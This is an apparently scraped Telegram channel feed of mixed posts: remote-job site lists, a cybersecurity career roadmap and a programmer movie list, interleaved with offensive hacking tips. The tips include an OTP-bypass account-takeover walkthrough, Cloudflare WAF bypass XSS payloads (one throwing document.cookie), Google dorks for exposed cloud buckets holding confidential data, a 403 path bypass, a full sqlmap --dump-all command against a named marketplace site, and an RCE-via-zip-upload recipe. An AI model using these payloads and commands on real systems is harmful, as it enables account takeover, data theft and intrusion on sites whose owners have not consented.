Termux All Command [Telegram Group]
前往频道在 Telegram
Hello This Is Termux All Command Official Telegram Group. Here Share All Kind of Resourses. It is Also backup of Facebook Page Telegram Channel >> https://t.me/termuxcommandfull Facebook Page >> https://www.facebook.com/termux.command.full
显示更多1 366
订阅者
-124 小时
-107 天
无数据30 天
帖子存档
Here are 40 sites that offer remote jobs paying in USD:
🚀kindly hashtag#reshare to your job seekers friends Especially hashtag#womens
🚀Ats resume, Remote jobs 👇
https://t.me/Hariskumar0
1. Jobspresso (Jobspresso.co)
2. SimplyHired (simplyhired.com)
3.Wellfound ( https://wellfound.com/)
4. Remote rocketship (https://lnkd.in/gS2nRtV3)
5. Stack Overflow Jobs (https://stackoverflow.com/)
6. Remote co (Remote.co)
7. Dice (dice.com)
8. Working Nomads (workingnomads.com)
9. Upwork (upwork.com)
10. Outsourcely (Outsourcely.com)
11.Toptal (toptal.com)
12. Skip The Drive (https://lnkd.in/gs45ffdn)
13. Guru (guru.com)
14. freelancer (freelancer.com)
15. Remotees (remotees.com)
16. Remote freelance (remotefreelance.com)
17. Nodesk (nodesk.co)
18. Remote Gurus (remoteGurus.com)
19. Pangian (Pangian.com)
20. RemoteOK (remoteok.com)
21. Europe Remotely (europeremiely.com)
22. We work Remotely (weworkremotely.com)
23. Remote in Europe(https://lnkd.in/gr4C-mjp)
24. FlexJobs (flexjobs.com)
25. Remole of Asia (https://lnkd.in/ghrA_z9u)
26.Virtual Vocations (virtualvocations.com)
27. waw asia(https://waw.asia/jobs)
28. Hubstaff Talent (https://lnkd.in/gjSNUvr2)
29. Work ana (https://www.workana.com/)
30. Linkedin ( LinkedIn.com)
31. Remotive
🔗 Link: https://remotive.com
32. Remote.co
🔗 Link: https://lnkd.in/eYgwD4bB
33. JustRemote
🔗Link: https://lnkd.in/d5ZqAXm
34. PowerToFly
🔗Link: https://powertofly.com/
35. Al Jobs
🔗Link: https://theaijobboard.com
36. Toptal
🔗Link: https://www.toptal.com
37. Working Nomads
-100% remote jobs
38. Remote Women
🔗 Link: remotewoman.com
39. Remote Jobs :To placed in good salary
40.remote4me : Customize your remote job search based on location, salary, and more.
🔗 Link (https://remote4me.com/)
All the best for job seekers 👍
sorry Guys!! My exam is knocking. Thats why i cannot give any resources. Stay With US. and pray for me
Termux All Command
Complete Cybersecurity Professional Roadmap
1. Introduction to Ethical Hacking
- Definition
- Purpose
- Types of Hackers
- Legal and Ethical Considerations
2. Networking Basics
- TCP/IP
- OSI Model
- Subnetting
- DNS
- DHCP
3. Operating Systems
- Linux
- Windows
- macOS
- Command Line Basics
4. Cybersecurity Fundamentals
- Encryption
- Firewalls
- Antivirus
- IDS/IPS
5. Programming Languages
- Python
- Javascript
- Bash Scripting
- SQL
- C/ C++/ Java/ Ruby
6. Scanning and Enumeration
- Port Scanning
- Service Enumeration
- Vulnerability Scanning
7. Exploitation
- Common Vulnerabilities and Exploits
- Metasploit Framework
- Buffer Overflows
8. Web Application Security
- OWASP Top Ten
- SQL Injection
- Cross-Site Scripting (XSS)
9. Wireless Network Hacking
- Wi-Fi Security
- WEP, WPA, WPA2
- Wireless Attacks
10. Social Engineering
- Phishing
- Spear Phishing
- Social Engineering Toolkit (SET)
11. Sniffing and Spoofing
- Man-in-the-Middle Attacks
- ARP Spoofing
- DNS Spoofing
12. Malware Analysis
- Types of Malware
- Sandbox Analysis
- Signature-Based and Behavior-Based Detection
13. Incident Response and Handling
- Incident Response Process
- Digital Forensics
- Chain of Custody
14. Penetration Testing
- Types of Penetration Testing
- Methodology
- Reporting
15. Cryptography
- Symmetric and Asymmetric Encryption
- Hashing Algorithms
- Digital Signatures
16. Mobile Hacking
- Android and iOS Security
- Mobile Application Security
17. Cloud Security
- AWS, Azure, Google Cloud
- Security Best Practices
18. IoT Security
- Internet of Things Risks
- Securing IoT Devices
19. Legal and Compliance
- Computer Fraud and Abuse Act (CFAA)
- GDPR, HIPAA, PCI DSS
20. Cybersecurity Tools
- Nmap, Wireshark, Burp Suite
- Snort, Nessus, Aircrack-ng
21. Career Path and Certifications
- Certified Ethical Hacker (CEH)
- Offensive Security Certified Professional (OSCP)
- CISSP, CompTIA Security+
OTP bypass✌️
Tips:
[1] Enter incorrect OTP and intercept the request via burp suite
[2] Intercept the response
[3] Change the wrong response OTP json data to success response OTP json data
[4] Forward the response and understand the 2nd request and response
[5] Intercept the 2nd response and change it to success OTP response json data
[6] Forward the 2nd response
Hurrah, take over the account via OTP bypass technique
Google Bug Bounty Dorks Generator
- juicy extensions
-open redirects
- code leaks
- cloud storages
- file upload endpoints
and more.
TOOL Link: https://lnkd.in/dZNAjzin
Bypass Cloudflare WAF (DOM-based XSS) ♻️
Payload:
'-alert?.(1)-'
writeup: https://lnkd.in/gnZR9ZKw
⚡Google Dorks - Cloud Storage: site:http://s3.amazonaws.com "target[.]com" site:http://blob.core.windows.net "target[.]com" site:http://googleapis.com "target[.]com" site:http://drive.google.com "target[.]com"
👉Find buckets and sensitive data.
Combine:
site:http://s3.amazonaws.com | site:http://blob.core.windows.net | site:http://googleapis.com | site:http://drive.google.com "target[.]com"
Add something to narrow the results: "confidential” “privileged" “not for public release”
✅ Credit- Mike Takahashi
Improper access control edge case
/admin/index.jsp -->403
/;/admin/index.jsp -->200
⚡️ SQLinjection - Time based BlindSQLi ⚡️
✅ Target: NFT(s) Marketplace
✅ My own Dork: "NFT marketplace" inurl:"/news?id="
CLI: python3 /opt/sqlmap/sqlmap -u "https://eneftee-black[.]market/news.php?id=2" --batch --dbms=mysql --random-agent --level 5 --risk 3 --tamper=space2comment --dump-all --threads 10
✅ Operating System (I used): Xubuntu 24.04.1 LTS
I found two vulnerabilities in a public target on HackerOne in just 10 minutes🎯
How I did it :
First, I used Subfinder to gather all subdomains (Tip: Always configure your API keys for the best results).
Then I used the httpx-toolkit tool to collect all subdomains returning a 404 status code into one file.
Then I ran ffuf with my custom wordlist on the 404 subdomains, which revealed two interesting URLs:
https://[target].com/swagger/index.html
Then I used the nuclei tool with a Swagger template on the identified URLs and I discovered:
HTML Injection
Cross-Site Scripting (XSS)
30 Movies Every Programmer Must Watch 😲
1. The Social Network (2010)
2. Steve Jobs (2015)
3. Pirates of Silicon Valley (1999)
4. The Imitation Game (2014)
5. Hackers (1995)
6. Ex Machina (2014)
7. Her (2013)
8. Tron (1982)
9. Tron: Legacy (2010)
10. The Matrix (1999)
11. WarGames (1983)
12. Sneakers (1992)
13. Jobs (2013)
14. Antitrust (2001)
15. Blackhat (2015)
16. The Fifth Estate (2013)
17. The Circle (2017)
18. Silicon Valley (TV Series, 2014–2019)
19. Source Code (2011)
20. Chappie (2015)
21. Mr. Robot (TV Series, 2015–2019)
22. Ghost in the Shell (1995)
23. Minority Report (2002)
24. Transcendence (2014)
25. Ready Player One (2018)
26. Artificial Intelligence: AI (2001)
27. Revolt (2017)
28. The Thirteenth Floor (1999)
29. Eagle Eye (2008)
30. Terminator 2: Judgment Day (1991)
Subdomain Enumeration ✨💫
NODESUB: A command-line tool for finding subdomains in bug bounty programs. It supports various subdomain enumeration techniques and provides flexible options for customization
TOOL GITHUB LINK: https://lnkd.in/dDmfMwPy
🔖 Dnsbruter - A powerful tool for active subdomain enumeration and discovery.
✨ Features:
Dnsbruter uses DNS resolution to bruteforce and identify subdomains efficiently. Its multithreading capability allows users to control concurrency for faster and more effective results. Perfect for researchers and pen testers targeting domain reconnaissance.
🔗 https://github.com/RevoltSecurities/Dnsbruter/
Test for RCE on File Uploads:
1. Create a .php file (e.g. payload.php).
2. Compress it into a zip file (e.g . test.zip).
3. Upload your zip file to the vulnerable web
application.
4. Trigger the RCE via the following URL:
https://<target.com>/index.php?page=zip://
path/test.zip%23payload.php
XSS Cloudflare Bypass
javascript:alert(1) ❌
*alert cannot be combined with ()
javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie ❌
*but still forbidden
try unicode escape:
javascript%3Avar%7Ba%3A%5Cu006f%5Cu006e%5Cu0065%5Cu0072%5Cu0072%5Cu006f%5Cu0072%7D%3D%7Ba%3A%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074%7D%3Bthrow%2520\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074.\u0063\u006f\u006f\u006b\u0069\u0065 ✅✅😹
⚡️SqliSniper: Advanced Time-based Blind SQL Injection fuzzer for HTTP Headers
https://github.com/danialhalo/SqliSniper
